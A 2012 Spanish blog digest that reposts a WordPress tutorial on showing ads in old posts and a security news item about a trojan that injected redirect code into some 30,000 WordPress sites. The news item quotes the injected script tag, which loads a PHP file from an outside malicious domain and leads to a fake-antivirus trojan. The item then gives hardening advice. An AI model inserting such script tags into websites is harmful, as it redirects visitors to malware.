martes, 6 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Mostrar mensajes especiales en entradas antiguas

Posted: 06 Mar 2012 04:03 PM PST

Supongo que ya sabes que pasado cierto tiempo, normalmente días, los visitantes que llegan a tu web provienen mayoritariamente de buscadores. Y esto significa varias cosas, a saber:

  • No son visitantes fieles, tus lectores te visitan cada día
  • El tiempo de permanencia es bajo
  • No suelen dejar comentarios, y casi mejor que no lo hagan
  • El ratio de clic sobre los anuncios suele ser mayor que el de los visitantes habituales

… entre otras muchas cosas.

Entonces ¿por qué no desarrollar una estrategia de cara a este tipo de visitas?, por ejemplo con la publicidad. Porque ya sabes que a los visitantes habituales no les gusta la publicidad, que para eso ya te honran con su presencia diaria, pero seguro que con los visitantes ocasionales si podemos hacer alguna excepción.

Y un modo podría ser configurar nuestro WordPress para que en las entradas con algunos días de antigüedad se muestre algún texto especial, como por ejemplo anuncios que normalmente no molestarían a tus visitantes diarios.

El primer paso es añadir el siguiente código al fichero functions.php de tu tema activo o a tu plugin de funciones:

function es_entrada_vieja($post_id=null){    $days = 30;    global $wp_query;    if(is_single() || is_page()) {       if(!$post_id) {          $post_id = $wp_query->post->ID;       }       $current_date = time();       $offset = $days *60*60*24;       $post_id = get_post($post_id);       $post_date = mysql2date('U',$post_id->post_date);       $cunning_math = $post_date + $offset;       $test = $current_date - $cunning_math;       if($test > 0){          $return = true;       }else{          $return = false;       }    }else{       $return = false;    }    return $return; }

En este ejemplo el código hace una query para detectar la fecha de cada entrada, y funcionará en entradas con más de 30 días de antigüedad, y si quieres cambiarlo solo debes modificar la cadena $days de la línea 2.

Guardas y ahora ya puedes poner un código de este estilo en tu tema, en el sitio (normalmente en single.php) donde quieras que se muestre la publicidad – solo en las entradas antiguas:

<?php if(es_entrada_vieja()){ ?> <p>¡HOLA! Si no quieres perderte todo el contenido maravilloso de este blog <a href="http://feeds.feedburner.com/AyudaWordPress"><strong>suscríbete al feed</strong></a>.</p> <p>AQUÍ VA UN ANUNCIO, UNA IMAGEN O LO QUE SEA</p> <?php } ?>

Por supuesto, puedes poner ahí lo que quieras, ya sea un script de publicidad, HTML para animar a que se suscriban a tu blog o lo que se te ocurra.

Inyección de código en WordPress – antivirus falso

Posted: 06 Mar 2012 01:39 PM PST

En Websense Security Labs han avisado de que hay más de 30.000 instalaciones de WordPress ya infectadas mediante un troyano que añade código de redirección en la web afectada.

Los sitios infectados tenían versiones no actualizadas de WordPress, contraseñas inseguras y plugins vulnerables.

El código que inyecta se coloca antes de la etiqueta < / body > y suele ser algo así:

</div><!--End-body-wrapper--> <script src="http:// ionis90landsi.rr.nu /mm.php ?d=1"></script></body></html>

Tras una cadena de redirecciones de tres niveles las víctimas aterrizan en un sitio de antivirus falso. El antivirus de pega parece realizar un escaneo del ordenador y avisa al usuario mostrando detecciones de malware falso de varios tipos de troyanos. La página parece una ventana del explorador de Windows, con el título de “Windows Security Alert“.

El proceso falso de escaneo parece una aplicación Windows, pero en realidad es una simple ventana emergente del navegador. Luego, el falso antivirus pide al “visitante” que descargue y ejecute una herramienta antivirus que – supuestamente – ha encontrado los troyanos. El ejecutable mismo es un troyano ¿qué esperabas?.

La mayoría de los sitios infectados están en los EEUU como puedes ver en este tráfico:

Y los visitantes a la página falsa ya son de un montón de países, todos angloparlantes:

¿Recomendaciones?

  • Actualiza WordPress a la última versión siempre
  • Usa solo plugins y temas seguros
  • No uses contraseñas sencillas
  • Protege tus carpetas y archivos de la instalación de WordPress
  • No alimentes el efecto pebcak
  • Instala un buen antivirus si usas Windows

Gracias a Jose por avisar y a Ze y bi0xid por las coñas marineras

No hay comentarios:

Publicar un comentario

Seguidores

Archivo del blog